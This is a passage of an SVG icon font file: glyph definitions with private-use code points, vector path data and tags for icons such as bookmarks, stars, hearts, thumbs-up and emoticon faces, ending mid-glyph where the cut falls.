<glyph unicode="&#xe0c9;" d="M 84,384L 84-64L 224,76L 364-64L 364,384 z" data-tags="bookmark, ribbon" />
<glyph unicode="&#xe0ca;" d="M 112,328L 112-64L 252,76L 392-64L 392,328 	zM 336,384L 56,384L 56-8L 84,20L 84,356L 336,356 	z" data-tags="bookmarks, favorite, ribbon" />
<glyph unicode="&#xe0cb;" d="M 224,199.375 C 202.289,199.375 184.625,181.711 184.625,160 C 184.625,138.289 202.289,120.625 224,120.625 C 245.711,120.625 263.375,138.289 263.375,160 C 263.375,181.711 245.711,199.375 224,199.375 Z M 224,244 L 224,244 C 270.392,244 308,206.393 308,160 C 308,113.608 270.392,76 224,76 C 177.607,76 140,113.608 140,160 C 140,206.393 177.607,244 224,244 ZM 383.799,39.799 C 394.734,28.864 394.734,11.135 383.799,0.201 C 372.864-10.734 355.136-10.734 344.201,0.201 L 316.201,28.201 C 305.266,39.136 305.266,56.864 316.201,67.799 C 327.135,78.734 344.864,78.734 355.799,67.799 L 383.799,39.799 ZM 131.799,291.799 C 142.734,280.864 142.733,263.135 131.799,252.201 C 120.864,241.266 103.136,241.266 92.201,252.201 L 64.201,280.201 C 53.266,291.136 53.266,308.864 64.201,319.799 C 75.135,330.733 92.864,330.734 103.799,319.799 L 131.799,291.799 ZM 344.201,319.799 C 355.135,330.734 372.864,330.733 383.798,319.799 C 394.734,308.864 394.734,291.136 383.799,280.201 L 355.799,252.201 C 344.863,241.266 327.135,241.266 316.201,252.201 C 305.266,263.135 305.266,280.864 316.201,291.799 L 344.201,319.799 ZM 92.201,67.799 C 103.136,78.734 120.864,78.734 131.799,67.799 C 142.734,56.864 142.734,39.136 131.799,28.201 L 103.799,0.201 C 92.864-10.734 75.136-10.734 64.201,0.201 C 53.267,11.135 53.266,28.864 64.201,39.799 L 92.201,67.799 ZM 224,356 C 239.464,356 252,343.464 252,328 L 252,300 C 252,284.536 239.464,272 224,272 C 208.536,272 196,284.536 196,300 L 196,328 C 196,343.464 208.536,356 224,356 ZM 224,48 C 239.464,48 252,35.465 252,20 L 252-8 C 252-23.465 239.464-36 224-36 C 208.536-36 196-23.465 196-8 L 196,20 C 196,35.465 208.536,48 224,48 ZM 28,160 C 28,175.464 40.536,188 56,188 L 84,188 C 99.464,188 112,175.464 112,160 C 112,144.535 99.464,132 84,132 L 56,132 C 40.536,132 28,144.535 28,160 ZM 336,160 C 336,175.464 348.535,188 364,188 L 392,188 C 407.465,188 420,175.464 420,160 C 420,144.536 407.465,132 392,132 L 364,132 C 348.535,132 336,144.536 336,160 Z" data-tags="brightness-medium, day, lightness, sun" />
<glyph unicode="&#xe0cc;" d="M 224,272c-61.855,0-112-50.145-112-112s 50.145-112, 112-112s 112,50.145, 112,112S 285.856,272, 224,272z M 224,90L 224,230 
		c 38.598,0, 70-31.402, 70-70S 262.598,90, 224,90zM 224,20 C 239.464,20 252,7.464 252-8 L 252-36 C 252-51.464 239.464-64 224-64 C 208.536-64 196-51.464 196-36 L 196-8 C 196,7.464 208.536,20 224,20 ZM 224,300 C 208.536,300 196,312.536 196,328 L 196,356 C 196,371.464 208.536,384 224,384 C 239.464,384 252,371.464 252,356 L 252,328 C 252,312.536 239.464,300 224,300 ZM 420,188 C 435.464,188 448,175.464 448,160 C 448,144.536 435.464,132 420,132 L 392,132 C 376.536,132 364,144.536 364,160 C 364,175.464 376.536,188 392,188 L 420,188 ZM 84,160 C 84,144.536 71.464,132 56,132 L 28,132 C 12.536,132 0,144.536 0,160 C 0,175.464 12.536,188 28,188 L 56,188 C 71.464,188 84,175.464 84,160 ZM 362.593,61.005 L 382.392,41.206 C 393.327,30.272 393.327,12.542 382.392,1.608 C 371.458-9.327 353.728-9.327 342.794,1.608 L 322.995,21.407 C 312.061,32.341 312.061,50.070 322.995,61.005 C 333.93,71.939 351.659,71.939 362.593,61.005 ZM 85.407,258.995 L 65.608,278.794 C 54.673,289.729 54.673,307.458 65.608,318.392 C 76.542,329.327 94.271,329.327 105.206,318.392 L 125.005,298.593 C 135.94,287.658 135.94,269.93 125.005,258.995 C 114.070,248.060 96.342,248.060 85.407,258.995 ZM 362.593,258.995 C 351.659,248.061 333.93,248.061 322.995,258.995 C 312.061,269.93 312.061,287.658 322.995,298.593 L 342.794,318.392 C 353.728,329.326 371.458,329.326 382.392,318.392 C 393.327,307.457 393.327,289.728 382.392,278.793 L 362.593,258.995 ZM 85.407,61.005 C 96.341,71.939 114.070,71.939 125.004,61.005 C 135.939,50.070 135.939,32.341 125.004,21.407 L 105.206,1.608 C 94.271-9.327 76.542-9.327 65.608,1.608 C 54.673,12.542 54.673,30.272 65.608,41.206 L 85.407,61.005 Z" data-tags="brightness-contrast, contrast" />
<glyph unicode="&#xe0cd;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 56,160
	c0,92.784, 75.216,168, 168,168l0-336 C 131.216-8, 56,67.216, 56,160z" data-tags="contrast" />
<glyph unicode="&#xe0ce;" d="M 448,210.291l-154.779,22.491L 224,373.036l-69.22-140.255L0,210.291l 112-109.173L 85.561-53.036L 224,19.745l 138.439-72.782
	l-26.44,154.154L 448,210.291z M 224,54.345l-97.765-51.398l 18.671,108.863l-79.094,77.097l 109.305,15.883L 224,303.839l 48.885-99.048
	l 109.303-15.883l-79.095-77.097l 18.672-108.863L 224,54.345z" data-tags="star, rate, favorite, bookmark" />
<glyph unicode="&#xe0cf;" d="M 448,210.291l-154.779,22.491L 224,373.036l-69.22-140.255L0,210.291l 112-109.173L 85.561-53.036L 224,19.745l 138.439-72.782
	l-26.44,154.154L 448,210.291z M 224,54.345l-0.412-0.217L 224,303.839l 48.885-99.048l 109.303-15.883l-79.095-77.097l 18.672-108.863
	L 224,54.345z" data-tags="star, rate, half" />
<glyph unicode="&#xe0d0;" d="M 448,210.291L 293.221,232.782L 224,373.036l-69.22-140.255L0,210.291l 112-109.173L 85.561-53.036L 224,19.745l 138.439-72.782
	l-26.44,154.154L 448,210.291z" data-tags="star, rate, favorite, bookmark" />
<glyph unicode="&#xe0d1;" d="M 448,227.307 C 448,189.523 431.717,155.544 405.786,132 L 406,132 L 266-8 C 252-22 238-36 224-36 C 210-36 196-22 182-8 L 42,132 L 42.214,132 C 16.283,155.544 0,189.523 0,227.307 C 0,298.382 57.618,356 128.693,356 C 166.477,356 200.456,339.717 224,313.786 C 247.544,339.717 281.523,356 319.307,356 C 390.381,356 448,298.382 448,227.307 Z" data-tags="heart, like, love, favorite" />
<glyph unicode="&#xe0d2;" d="M 448,227.307C 448,298.382, 390.381,356, 319.307,356C 281.523,356, 247.544,339.717, 224,313.786C 200.456,339.717, 166.477,356, 128.693,356
	C 57.618,356,0,298.382,0,227.307C0,189.523, 16.283,155.544, 42.214,132L 42,132 l 140-140c 14-14, 28-28, 42-28s 28,14, 42,28l 140,140l-0.214,0 
	C 431.717,155.544, 448,189.523, 448,227.307z M 368.142,173.461L 226.402,31.598c-0.734-0.734-1.545-1.545-2.402-2.397
	c-0.857,0.853-1.669,1.663-2.402,2.397L 79.858,173.46C 64.473,187.429, 56,206.552, 56,227.307C 56,267.39, 88.61,300, 128.693,300
	c 20.755,0, 39.878-8.473, 53.846-23.858L 224,230.476l 41.461,45.665C 279.43,291.527, 298.552,300, 319.307,300
	C 359.39,300, 392,267.39, 392,227.307C 392,206.552, 383.526,187.429, 368.142,173.461z" data-tags="heart, like, love, favorite" />
<glyph unicode="&#xe0d3;" d="M 448,227.307 C 448,189.523 431.717,155.544 405.786,132 L 406,132 L 266-8 C 252-22 238-36 224-36 C 210-36 196-22 182-8 L 42,132 L 42.214,132 C 16.283,155.544 0,189.523 0,227.307 C 0,298.382 57.618,356 128.693,356 C 152.953,356 175.638,349.278 195.006,337.609 L 154,272 L 252,216 L 196,76 L 350,244 L 252,300 L 286.515,351.774 C 296.986,354.525 307.973,356 319.307,356 C 390.381,356 448,298.382 448,227.307 Z" data-tags="heart-broken, love" />
<glyph unicode="&#xe0d4;" d="M 406,132 C 437.938,132 420,48 392,48 C 406,48 392-22 364-22 C 364-50 336-64 308-64 C 189.721-64 231.322-34.403 112-22 L 112,202 C 217.403,233.617 322,312.873 322,384 C 345.188,384 406,356 322,216 C 322,216 392,216 406,216 C 448,216 434,132 406,132 ZM 84,202 L 84-22 L 112-22 L 112-36 L 56-36 C 40.6-36 28-17.1 28,6 L 28,174 C 28,197.1 40.6,216 56,216 L 112,216 L 112,202 L 84,202 Z" data-tags="thumbs-up, up, like, rate, vote up" />
<glyph unicode="&#xe0d5;" d="M 42,188 C 10.063,188 28,272 56,272 C 42,272 56,342 84,342 C 84,370 112,384 140,384 C 258.279,384 216.678,354.403 336,342 L 336,118 C 230.597,86.383 126,7.127 126-64 C 102.813-64 42-36 126,104 C 126,104 56,104 42,104 C 0,104 14,188 42,188 ZM 364,118 L 364,342 L 336,342 L 336,356 L 392,356 C 407.4,356 420,337.1 420,314 L 420,146 C 420,122.9 407.4,104 392,104 L 336,104 L 336,118 L 364,118 Z" data-tags="thumbs-up, up, like, rate, vote down" />
<glyph unicode="&#xe0d6;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 224,122.043 C 274.728,122.043 322.976,135.52 364,159.195 C 357.624,81.128 297.006,20 224,20 C 150.995,20 90.378,81.194 84,159.258 C 125.024,135.584 173.272,122.043 224,122.043 ZM 112,230A28,42 2700 1 0 168,230A28,42 2700 1 0 112,230zM 280,230A28,42 2700 1 0 336,230A28,42 2700 1 0 280,230z" data-tags="happy, emoticon, smiley, face" />
<glyph unicode="&#xe0d7;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
		c 15.465,0, 28-18.804, 28-42s-12.535-42-28-42s-28,18.804-28,42S 292.535,272, 308,272z M 140,272c 15.464,0, 28-18.804, 28-42
		s-12.536-42-28-42s-28,18.804-28,42S 124.536,272, 140,272z M 224-8c-73.005,0-133.622,61.194-140,139.258
		c 41.024-23.675, 89.272-37.215, 140-37.215c 50.728,0, 98.976,13.478, 140,37.153C 357.624,53.128, 297.006-8, 224-8z" data-tags="happy, emoticon, smiley, face" />
<glyph unicode="&#xe0d8;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 ZM 308.043,109.574 L 344.061,87.963 C 319.578,47.245 274.973,20 224,20 C 173.027,20 128.422,47.245 103.939,87.963 L 139.957,109.574 C 157.096,81.072 188.319,62 224,62 C 259.681,62 290.904,81.072 308.043,109.574 Z" data-tags="smiley, emoticon, face" />
<glyph unicode="&#xe0d9;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 292.536,272, 308,272z M 140,272c 15.464,0, 28-12.536, 28-28
	s-12.536-28-28-28s-28,12.536-28,28S 124.536,272, 140,272z M 224,20c-50.973,0-95.578,27.245-120.061,67.963l 36.019,21.611
	C 157.096,81.072, 188.319,62, 224,62s 66.904,19.072, 84.043,47.574l 36.019-21.611C 319.578,47.245, 274.973,20, 224,20z" data-tags="smiley, emoticon, face" />
<glyph unicode="&#xe0da;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 ZM 336,132 L 336,104 L 308,104 L 308,62 C 308,38.804 289.196,20 266,20 C 242.804,20 224,38.804 224,62 L 224,104 L 112,104 L 112,132 L 336,132 Z" data-tags="tongue, emoticon, smiley, face" />
<glyph unicode="&#xe0db;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 124.536,272, 140,272z M 336,104l-28,0 l0-42 c0-23.196-18.804-42-42-42
	s-42,18.804-42,42l0,42 L 112,104 l0,28 l 224,0 L 336,104 z M 308,216c-15.464,0-28,12.536-28,28s 12.536,28, 28,28s 28-12.536, 28-28S 323.464,216, 308,216z" data-tags="tongue, emoticon, smiley, face" />
<glyph unicode="&#xe0dc;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 112,244 C 112,259.464 124.536,272 140,272 C 155.464,272 168,259.464 168,244 C 168,228.536 155.464,216 140,216 C 124.536,216 112,228.536 112,244 Z M 280,244 C 280,259.464 292.536,272 308,272 C 323.464,272 336,259.464 336,244 C 336,228.536 323.464,216 308,216 C 292.536,216 280,228.536 280,244 ZM 139.957,42.426 L 103.939,64.037 C 128.422,104.755 173.027,132 224,132 C 274.972,132 319.577,104.755 344.061,64.037 L 308.043,42.426 C 290.904,70.928 259.681,90 224,90 C 188.318,90 157.096,70.928 139.957,42.426 Z" data-tags="sad, emoticon, smiley, face" />
<glyph unicode="&#xe0dd;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 308,272
	c 15.464,0, 28-12.536, 28-28s-12.536-28-28-28s-28,12.536-28,28S 292.536,272, 308,272z M 140,272c 15.464,0, 28-12.536, 28-28
	s-12.536-28-28-28s-28,12.536-28,28S 124.536,272, 140,272z M 308.043,42.426C 290.904,70.928, 259.68,90, 224,90
	c-35.681,0-66.904-19.072-84.043-47.574l-36.019,21.611C 128.421,104.755, 173.027,132, 224,132c 50.972,0, 95.578-27.245, 120.061-67.963
	L 308.043,42.426z" data-tags="sad, emoticon, smiley, face" />
<glyph unicode="&#xe0de;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 237.449,72.925 C 298.807,85.047 346.434,112.975 363.647,150.185 C 354.174,76.704 292.983,20 218.9,20 C 166.732,20 120.963,48.123 95.135,90.415 C 125.94,66.327 180.244,61.624 237.449,72.925 ZM 280,230A28,42 2700 1 0 336,230A28,42 2700 1 0 280,230zM 154,221.469 C 135.714,221.469 120.166,214.619 114.399,205.062 C 112.851,207.629 112,219.139 112,222.016 C 112,235.607 130.804,246.625 154,246.625 C 177.196,246.625 196,235.607 196,222.016 C 196,219.139 195.149,207.629 193.601,205.062 C 187.834,214.619 172.286,221.469 154,221.469 Z" data-tags="wink, emoticon, smiley, face" />
<glyph unicode="&#xe0df;" d="M 224,384C 100.288,384,0,283.713,0,160c0-123.712, 100.287-224, 224-224c 123.712,0, 224,100.288, 224,224
	C 448,283.713, 347.712,384, 224,384z M 308,272c 15.464,0, 28-18.804, 28-42s-12.536-42-28-42s-28,18.804-28,42S 292.536,272, 308,272z
	 M 154,247.473c 26.095,0, 44.625-9.77, 44.625-25.061c0-3.237, 1.668-18.81-0.074-21.697c-6.487,10.752-23.979,18.457-44.551,18.457
	s-38.063-7.705-44.551-18.457c-1.742,2.887-0.074,18.461-0.074,21.697C 109.375,237.703, 127.905,247.473, 154,247.473z M 218.9,20
	c-52.168,0-97.938,28.123-123.765,70.416c 30.804-24.089, 85.109-28.792, 142.314-17.49c 61.358,12.121, 108.986,40.050, 126.199,77.26
	C 354.174,76.703, 292.983,20, 218.9,20z" data-tags="wink, emoticon, smiley, face" />
<glyph unicode="&#xe0e0;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 84,160l0-28 c0-61.6, 50.4-112, 112-112l 56,0 c 61.6,0, 112,50.4, 112,112l0,28 L 84,160 z M 168,52.818
	c-11.61,4.138-22.279,10.86-31.3,19.883C 120.772,88.626, 112,109.687, 112,132l 56,0 L 168,52.818 z M 252,48l-56,0 l0,84 l 56,0 L 252,48 z
	 M 311.3,72.7c-9.023-9.023-19.692-15.745-31.3-19.883L 280,132 l 56,0 C 336,109.687, 327.229,88.626, 311.3,72.7z M 98.591,216
	C 98.592,216, 98.591,216, 98.591,216c 4.274,0, 7.922,3.087, 8.629,7.302C 109.915,239.351, 123.701,251, 140,251
	s 30.085-11.649, 32.779-27.698c 0.707-4.214, 4.356-7.302, 8.628-7.302c 4.274,0, 7.922,3.087, 8.629,7.301
	c 0.473,2.816, 0.712,5.659, 0.712,8.449c0,27.983-22.767,50.75-50.75,50.75s-50.75-22.767-50.75-50.75c0-2.79, 0.24-5.633, 0.712-8.449
	C 90.67,219.087, 94.319,216, 98.591,216z M 266.591,216C 266.592,216, 266.591,216, 266.591,216c 4.274,0, 7.924,3.087, 8.629,7.302
	C 277.915,239.351, 291.701,251, 308,251s 30.085-11.649, 32.779-27.698c 0.707-4.214, 4.357-7.302, 8.628-7.302s 7.922,3.087, 8.628,7.301
	c 0.473,2.816, 0.712,5.659, 0.712,8.449c0,27.983-22.767,50.75-50.75,50.75s-50.75-22.767-50.75-50.75c0-2.79, 0.238-5.633, 0.711-8.449
	C 258.67,219.087, 262.319,216, 266.591,216z" data-tags="grin, emoticon, smiley, face" />
<glyph unicode="&#xe0e1;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 308,280.75
	c 27.983,0, 50.75-22.767, 50.75-50.75c0-2.79-0.239-5.633-0.712-8.449c-0.708-4.214-4.357-7.301-8.629-7.301s-7.922,3.087-8.628,7.302
	C 338.085,237.601, 324.299,244.875, 308,244.875s-30.085-7.274-32.779-23.323c-0.707-4.214-4.356-7.302-8.628-7.302c-0.001,0,0,0-0.001,0
	c-4.273,0-7.921,3.087-8.628,7.301C 257.489,224.367, 257.25,227.21, 257.25,230C 257.25,257.983, 280.017,280.75, 308,280.75z M 140,280.75
	c 27.983,0, 50.75-22.767, 50.75-50.75c0-2.79-0.24-5.633-0.712-8.449c-0.708-4.214-4.356-7.301-8.629-7.301c-4.274,0-7.921,3.087-8.628,7.302
	C 170.085,237.601, 156.299,244.875, 140,244.875s-30.085-7.274-32.779-23.323c-0.707-4.214-4.356-7.302-8.628-7.302c0,0,0,0,0,0
	c-4.273,0-7.921,3.087-8.629,7.301C 89.49,224.367, 89.25,227.21, 89.25,230C 89.25,257.983, 112.017,280.75, 140,280.75z M 84,132l 84,0 l0-108.433 
	C 119.834,36.082, 84,80.059, 84,132z M 196,20L 196,132 l 56,0 l0-112 L 196,20 z M 280,23.567L 280,132 l 84,0 C 364,80.059, 328.167,36.082, 280,23.567z" data-tags="grin, emoticon, smiley, face" />
<glyph unicode="&#xe0e2;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 350,272 C 357.7,272 364,265.7 364,258 L 364,216 C 364,200.6 351.4,188 336,188 L 280,188 C 264.6,188 252,200.6 252,216 L 196,216 C 196,200.6 183.4,188 168,188 L 112,188 C 96.6,188 84,200.6 84,216 L 84,258 C 84,265.7 90.3,272 98,272 L 182,272 C 189.7,272 196,265.7 196,258 L 196,244 L 252,244 L 252,258 C 252,265.7 258.3,272 266,272 L 350,272 ZM 224,48 C 264.779,48 300.463,69.795 320.051,102.372 L 344.061,87.963 C 319.576,47.245 274.973,20 224,20 C 202.8,20 182.707,24.723 164.701,33.161 L 179.21,57.345 C 192.927,51.345 208.069,48 224,48 Z" data-tags="cool, emoticon, smiley, face" />
<glyph unicode="&#xe0e3;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.286-224, 224-224c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384z M 224,20
	c-21.2,0-41.293,4.723-59.3,13.161l 14.508,24.183C 192.927,51.345, 208.069,48, 224,48c 40.779,0, 76.463,21.795, 96.050,54.372
	l 24.011-14.409C 319.576,47.245, 274.973,20, 224,20z M 364,216c0-15.4-12.6-28-28-28l-56,0 c-15.4,0-28,12.6-28,28l-56,0 
	c0-15.4-12.6-28-28-28l-56,0 c-15.4,0-28,12.6-28,28l0,42 c0,7.7, 6.3,14, 14,14l 84,0 c 7.7,0, 14-6.3, 14-14l0-14 l 56,0 l0,14 c0,7.7, 6.3,14, 14,14l 84,0 
	c 7.7,0, 14-6.3, 14-14L 364,216 z" data-tags="cool, emoticon, smiley, face" />
<glyph unicode="&#xe0e4;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
	c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342z M 308.043,42.426
	C 290.904,70.928, 259.68,90, 224,90c-35.681,0-66.904-19.072-84.043-47.574l-36.019,21.611C 128.421,104.755, 173.027,132, 224,132
	c 50.972,0, 95.578-27.245, 120.061-67.963L 308.043,42.426zM 335.581,261.395 C 337.455,253.894 332.895,246.293 325.395,244.418 C 317.684,242.471 308.542,239.116 300.486,235.078 C 305.144,230.077 307.999,223.374 307.999,216 C 307.999,200.536 295.463,188 279.999,188 C 264.535,188 251.999,200.536 251.999,216 C 251.999,216.512 252.015,217.019 252.042,217.524 C 252.931,238.285 271.822,252.063 287.738,260.022 C 302.938,267.622 317.971,271.423 318.603,271.582 C 326.105,273.458 333.705,268.896 335.581,261.395 ZM 112.419,261.395c 1.876,7.501, 9.476,12.063, 16.978,10.187c 0.633-0.158, 15.665-3.96, 30.865-11.56
	c 15.916-7.959, 34.808-21.737, 35.697-42.498c 0.027-0.505, 0.043-1.012, 0.043-1.524c0-15.464-12.536-28-28-28s-28,12.536-28,28
	c0,7.374, 2.855,14.077, 7.514,19.078c-8.056,4.038-17.198,7.394-24.91,9.341C 115.105,246.293, 110.545,253.894, 112.419,261.395z" data-tags="angry, emoticon, smiley, face, rage" />
<glyph unicode="&#xe0e5;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 252.041,217.524
	c 0.889,20.761, 19.779,34.54, 35.697,42.498c 15.2,7.6, 30.233,11.401, 30.865,11.56c 7.501,1.876, 15.103-2.685, 16.978-10.187
	c 1.875-7.501-2.685-15.102-10.187-16.978c-7.71-1.947-16.853-5.302-24.91-9.341c 4.659-5.001, 7.514-11.704, 7.514-19.078
	c0-15.464-12.536-28-28-28s-28,12.536-28,28C 251.998,216.511, 252.014,217.019, 252.041,217.524z M 112.419,261.395
	c 1.876,7.501, 9.476,12.063, 16.978,10.187c 0.633-0.158, 15.665-3.96, 30.865-11.56c 15.916-7.959, 34.808-21.737, 35.697-42.498
	c 0.027-0.505, 0.043-1.012, 0.043-1.524c0-15.464-12.536-28-28-28s-28,12.536-28,28c0,7.374, 2.855,14.077, 7.514,19.078
	c-8.056,4.038-17.198,7.394-24.91,9.341C 115.105,246.293, 110.545,253.894, 112.419,261.395z M 308.043,42.426
	C 290.904,70.928, 259.68,90, 224,90c-35.681,0-66.904-19.072-84.043-47.574l-36.019,21.611C 128.421,104.755, 173.027,132, 224,132
	c 50.972,0, 95.578-27.245, 120.061-67.963L 308.043,42.426z" data-tags="angry, emoticon, smiley, face, rage" />
<glyph unicode="&#xe0e6;" d="M 279.998,188 C 264.534,188 251.998,200.536 251.999,216.001 C 251.999,216.513 252.015,217.020 252.042,217.525 C 252.931,238.286 271.822,252.064 287.738,260.023 C 302.938,267.622 317.971,271.424 318.603,271.583 C 326.105,273.459 333.705,268.897 335.581,261.396 C 337.455,253.894 332.895,246.294 325.394,244.418 C 317.683,242.471 308.541,239.116 300.485,235.078 C 305.143,230.077 307.998,223.374 307.998,216 C 307.998,200.536 295.462,188 279.998,188 ZM 122.606,244.418 C 115.105,246.293 110.545,253.894 112.42,261.395 C 114.295,268.896 121.896,273.458 129.398,271.582 C 130.029,271.423 145.063,267.622 160.262,260.022 C 176.18,252.064 195.070,238.285 195.959,217.524 C 195.986,217.019 196.002,216.511 196.002,216 C 196.002,200.536 183.466,188 168.002,188 C 152.538,188 140.002,200.536 140.002,216 C 140.002,223.374 142.857,230.077 147.515,235.078 C 139.459,239.116 130.316,242.471 122.606,244.418 ZM 224,62 C 259.68,62 290.904,81.072 308.043,109.574 L 344.061,87.963 C 319.578,47.245 274.973,20 224,20 C 173.027,20 128.422,47.245 103.939,87.963 L 139.957,109.574 C 157.096,81.072 188.319,62 224,62 ZM 448,356c0,19.913-4.167,38.85-11.66,56c-14.69-33.616-42.196-60.345-76.341-74.015C 322.289,366.842, 275.152,384, 224,384
		S 125.711,366.842, 88.001,337.985C 53.855,351.655, 26.35,378.384, 11.66,412C 4.167,394.85,0,375.913,0,356
		c0-32.189, 10.872-61.831, 29.132-85.478C 10.595,237.91,0,200.194,0,160c0-123.712, 100.288-224, 224-224s 224,100.288, 224,224
		c0,40.194-10.595,77.91-29.132,110.522C 437.128,294.169, 448,323.811, 448,356z M 224-22c-100.516,0-182,81.484-182,182
		S 123.484,342, 224,342s 182-81.484, 182-182S 324.516-22, 224-22z" data-tags="evil, emoticon, smiley, face" />
<glyph unicode="&#xe0e7;" d="M 448,356c0,19.913-4.167,38.85-11.66,56c-14.69-33.616-42.196-60.345-76.341-74.015C 322.289,366.842, 275.152,384, 224,384
	S 125.711,366.842, 88.001,337.985C 53.855,351.655, 26.35,378.384, 11.66,412C 4.167,394.85,0,375.913,0,356c0-32.189, 10.872-61.831, 29.132-85.478
	C 10.595,237.91,0,200.194,0,160c0-123.712, 100.288-224, 224-224s 224,100.288, 224,224c0,40.194-10.595,77.91-29.132,110.522
	C 437.128,294.169, 448,323.811, 448,356z M 252.041,217.524c 0.889,20.761, 19.779,34.54, 35.697,42.498
	c 15.2,7.6, 30.233,11.401, 30.865,11.56c 7.501,1.876, 15.103-2.685, 16.978-10.187c 1.875-7.501-2.685-15.102-10.187-16.978
	c-7.71-1.947-16.853-5.302-24.91-9.341c 4.659-5.001, 7.514-11.704, 7.514-19.078c0-15.464-12.536-28-28-28s-28,12.536-28,28
	C 251.998,216.511, 252.014,217.019, 252.041,217.524z M 112.419,261.395c 1.876,7.501, 9.476,12.063, 16.978,10.187
	c 0.633-0.158, 15.665-3.96, 30.865-11.56c 15.916-7.959, 34.808-21.737, 35.697-42.498c 0.027-0.505, 0.043-1.012, 0.043-1.524
	c0-15.464-12.536-28-28-28s-28,12.536-28,28c0,7.374, 2.855,14.077, 7.514,19.078c-8.056,4.038-17.198,7.394-24.91,9.341
	C 115.105,246.293, 110.545,253.894, 112.419,261.395z M 224,20c-50.973,0-95.578,27.245-120.061,67.963l 36.019,21.611
	C 157.096,81.072, 188.319,62, 224,62c 35.68,0, 66.904,19.072, 84.043,47.574l 36.019-21.611C 319.578,47.245, 274.973,20, 224,20z" data-tags="evil, emoticon, smiley, face" />
<glyph unicode="&#xe0e8;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
		c 100.516,0, 182-81.484, 182-182s-81.484-182-182-182S 42,59.484, 42,160S 123.484,342, 224,342zM 168,76 C 168,106.928 193.072,132 224,132 C 254.928,132 280,106.928 280,76 C 280,45.072 254.928,20 224,20 C 193.072,20 168,45.072 168,76 ZM 280,230A28,42 2700 1 0 336,230A28,42 2700 1 0 280,230zM 112,230A28,42 2700 1 0 168,230A28,42 2700 1 0 112,230z" data-tags="shocked, emoticon, smiley, face" />
<glyph unicode="&#xe0e9;" d="M 224,384C 100.288,384,0,283.712,0,160s 100.288-224, 224-224s 224,100.288, 224,224S 347.712,384, 224,384z M 140,188
		c-15.464,0-28,18.804-28,42s 12.536,42, 28,42s 28-18.804, 28-42S 155.464,188, 140,188z M 224,20c-30.928,0-56,25.072-56,56
		s 25.072,56, 56,56c 30.928,0, 56-25.072, 56-56S 254.928,20, 224,20z M 308,188c-15.464,0-28,18.804-28,42s 12.536,42, 28,42
		s 28-18.804, 28-42S 323.464,188, 308,188z" data-tags="shocked, emoticon, smiley, face" />
<glyph unicode="&#xe0ea;" d="M 224-64c 123.712,0, 224,100.288, 224,224S 347.712,384, 224,384S0,283.712,0,160S 100.288-64, 224-64z M 224,342
